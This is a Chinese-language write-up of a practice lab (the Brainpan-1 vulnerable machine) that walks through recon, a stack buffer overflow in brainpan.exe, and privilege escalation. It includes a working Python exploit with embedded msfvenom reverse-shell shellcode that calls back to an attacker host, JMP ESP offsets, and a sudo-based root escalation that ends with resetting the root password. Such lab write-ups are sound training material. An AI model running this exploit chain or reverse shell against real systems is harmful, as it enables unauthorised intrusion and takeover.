1
2
3
arp-scan -l          nmap --min-rate 100000 -p- 192.168.111.140     nmap --min-rate 100000 -p9999,10000 -A 192.168.111.140

dirsearch -u 192.168.111.140:10000 dirb http://192.168.111.140:10000/ nikto -host 192.168.111.140 -p 10000

image-20241122192514634

能看到9999端口访问不了也不知道运行的什么服务,10000端口是web服务,里面放了一个图片,同时用dirsearch,dirb,nikto扫一下10000端口,都扫到了/bin

image-20241122194321671

访问后发现/bin/目录就放了一个brainpan.exe文件,这就是提示,提示我们要对这个brainpan.exe进行分析

 windows 的可执行文件

现在大概明白9999端口怎么用了。需要用nc连接 nc ip port 注意不加:

image-20241123095731104

image-20241122194443015

尝试用IDA pro进行分析,需要用32位的。研究好久,这个太难为我了,看不懂了,参考一下其他师傅的吧

image-20241122195053785

正片开始: 这个靶场要用Windows的PWN 洞来getshell

1
2
3
4
5
6
7
8
9
10
11
12
缓冲区溢出(buffer overflow),是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。

项目十七:brainpan-1,专门考验缓冲区溢出知识,该项目仅仅开放了10000端口作为web端,经过简单的目录爆破就能发现存在brainpan.exe文件,该项目是乌班图环境并且安装了win的模块运行着exe文件,该文件启动了9999端口支撑服务,该环境就和AWD中的PWN题目一样,直播教学会有多种方法详细解释如何理解缓冲区溢出,如何发现缓冲区溢出,遇到缓冲区溢出如何利用,栈是什么等等问题详解。

看了一大圈大概明白了,这个靶机是用Linux搭建的,但是通过这个exe文件运行了一个Windows服务,我们只要运行这个exe文件,就能模仿出靶机运行的服务,如果能在本地调试出payload,在靶机中也能使用。

我们需要下载一个软件 immunity debugger(id)(漏洞挖掘+恶意软件分析),在这里我推荐从这里下载,能汉化
https://www.xue51.com/soft/4770.html#xzdz

有师傅通过python brainfuzzer.py 192.168.111.140 9999 ////来检查是否有缓冲区溢出,检查9999端口,就是那个我们不知道具体用途的端口
这一步的目的是借助批量产生的无意义的字符来冲击文件,可以得知是否存在溢出的可能
https://github.com/jessekurrus/brainpan 这里有脚本地址

现在模拟本地环境,打开immunity debugger,然后点击文件,把exe导入进去,再点开始,此时我们就能看到在我们本地开了一个等待被连接的9999端口

image-20241122202721262

image-20241122202756210

但是在这里我本地搭建的环境跑不起来,我通过netstat -ano | findstr :9999 查看到PIN为2072的程序在占用9999端口,system启动的

image-20241123094735719

image-20241122203407584

还是继续看靶机的环境吧 这里我们看到字符数到1300以上就中断服务了,那也就是说1300以上就能溢出,同时在immunityDebugger的第一个框也会停止

靶机的环境也不是很稳定

这里是程序开启界面,需要点击右箭头图标才可运行程序

msfconsole: locate pattern_create.rb //找一下pattern_create.rb,生成1300位可以反查的字符

1
2
3
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1300   但是不行,看了别的师傅,他们都是10000.。。我也只好改成1000  

复制粘贴下来然后放法到brainpan1.py在运行 python2 brainpan1.py 192.168.111.140 9999

在这里插入图片描述

1
2
3
4
到这就可以看到 EIP变成35724134  35 72 41 34因为两个字节是一个字符,所以这样分开 然后计算机中内存的地址按照由低到高的顺序排列存放 也就是说放在最下面的是最先放的   那也就是说实际上的顺序是 34 41 72 35
所以这一组EBP(基底地址)的第一组字节(第一个字符)应该是34,对应的ACSII也就是4Ar5 --通过查找前面生成的1000位反查字符也能知道是在524位

继续来到msfconsole通过 locate pattern_offset.rb //找一下pattern_offset.rb ,/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134 ---反查溢出点 溢出点在524位

对照ASCII表找出字符是:4Ar5

image-20241123105542394

1
2
查看shellcode空间大小--思路: EIP修改为shellcode代码的内存地址,将shellcode写入到该地址空间,程序读取EIP寄存器数值,将跳转到shellcode代码段并执行,接下来将寻找可存放shellcode的内存空间是多少! 也就是说  524个字节填满他正常的内存空间,而后就会造成溢出,用B填满他的指向(四个字符),剩下整这么多C就是shellcode的内存可存放大小,借助工具我们就可以知道shellcode可以放多少字节(也就是说我们要知道他最终的内存中保留下来了多少C)
python2 brainpan2.py 192.168.111.140 9999

这样修改brainpan2.py

1
我们这就看到了,查找ASCII表知道了EIP均被B覆盖,EBP均被A覆盖,ESP的位置右键 Follow in dump在左下视图右键选择HEX-HEX/ASCII(16),选择16个字节一行观察

在这里插入图片描述

起始位置005FF910 结束位置是005FFAE0

1D0  转换成10进制也就是464,可以放得下一个shellcode

1
2
3
4
5
6
不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定用途:
1\. 返回地址、shellcode、buffer中都不能出现坏字符
2\. null byte (0x00)空字符,用于终止字符串的拷贝操作
3\. return (0x0D)回车操作,表示POP3 PASS命令输入完成
因为在不同的协议,功能,等情况下,对于坏字符的敏感度不同,有些不管,有些要管,为了避免这个问题,我们就一刀切,全部排除坏字符
发送0x000xff 256个字符,查找所有坏字符 python2 brainpan3.py 192.168.111.140 9999

在这里插入图片描述

在这里插入图片描述

1
2
3
4
5
6
7
8
9
从右往左读,发现均为正常显示,除了0x00,因为无论何时何地,他都是坏字符


因为ESP的地址会变化,这是系统的保护机制,所以我们要找一种可以精确的百分百定位到shellcode的东西,这个东西是JMP ESP 接着引入mona脚本(识别内存模块的脚本)!mona modules
#### jmp esp定位
利用nasm_shell.rb查看jmp esp的地址! locate nasm_shell /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb nasm > jmp esp
00000000 FFE4 jmp esp
右键搜索命令
看到存在jmp esp ,它的地址是 311712F3

在这里插入图片描述

1
2
3
4
5
6
7
8
利用mona脚本来查找当前文件中jmp esp的存在位置

!mona find -s “\xff\xe4” -m brainpan.exe

得到结果如下 311712F3
获得是JMP ESP地址 :0x311712F3

最上面ASLR等是保护机制,我们要找一个均是false的,往回看就是这个exe文件,在实际操作中也可能是DLL进程文件,具体问题具体分析

在这里插入图片描述

1
2
生成linux的反弹shell
msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.111.128 lport=8888 -b "/x00" -f c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pyload
import socket,time,sys
try:
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('192.168.111.140', 9999))
buf = ("\xdb\xce\xd9\x74\x24\xf4\x58\xbe\x16\x44\x37\x54\x31\xc9"
"\xb1\x12\x31\x70\x17\x03\x70\x17\x83\xd6\x40\xd5\xa1\xe7"
"\x93\xee\xa9\x54\x67\x42\x44\x58\xee\x85\x28\x3a\x3d\xc5"
"\xda\x9b\x0d\xf9\x11\x9b\x27\x7f\x53\xf3\x77\xd7\xcc\x83"
"\x10\x2a\x13\xa1\x58\xa3\xf2\x15\xfe\xe4\xa5\x06\x4c\x07"
"\xcf\x49\x7f\x88\x9d\xe1\xee\xa6\x52\x99\x86\x97\xbb\x3b"
"\x3e\x61\x20\xe9\x93\xf8\x46\xbd\x1f\x36\x08")

msg = "\x41"*524 + "\xf3\x12\x17\x31"+ "\x90"*50 + buf
client.send(bytes(msg+ "\r\n", "latin-1"))
print("[+] payload send successful")
client.close()
time.sleep(5)
except :
print("连接终止")
sys.exit()


分析一下这个payload
JMP ESP 内存地址:\xf3\x12\x17\x31c
1.524A用来覆盖掉正常的内存空间,
2.\xf3\x12\x17\x31cJMP ESP的地址用来指向shellcode
3.后面一大串整型乘\x90是去掉nop空地址(这一段相当于啥也没有,要去掉)
4.再加上msf生成的反弹shell
这个脚本要用python3运行

现在就getshell,获得交互式shel python -c 'import pty;pty.spawn("/bin/bash")'

提权 /home/anansi/bin/anansi_util这个文件不需要密码可以用root权限运行

image-20241123114029088

看起来这个anansi_util文件实际功能和vim、less差不多,尝试直接输入!/bin/bash进行提取

image-20241123114626112

把root密码改成root就结束

总结

通过nmap发现目标开放了9999、10000两个端口,通过对10000端口进行常规的web渗透测试,发现了在/bin目录下有一个可执行文件。

下载下来文件进行观察,发现这个文件就是运行在9999端口的服务,通过对缓冲区溢出漏洞的发现和利用,成功获得了系统立足点,利用sudo -l看到有一个可执行程序可以利用进行提权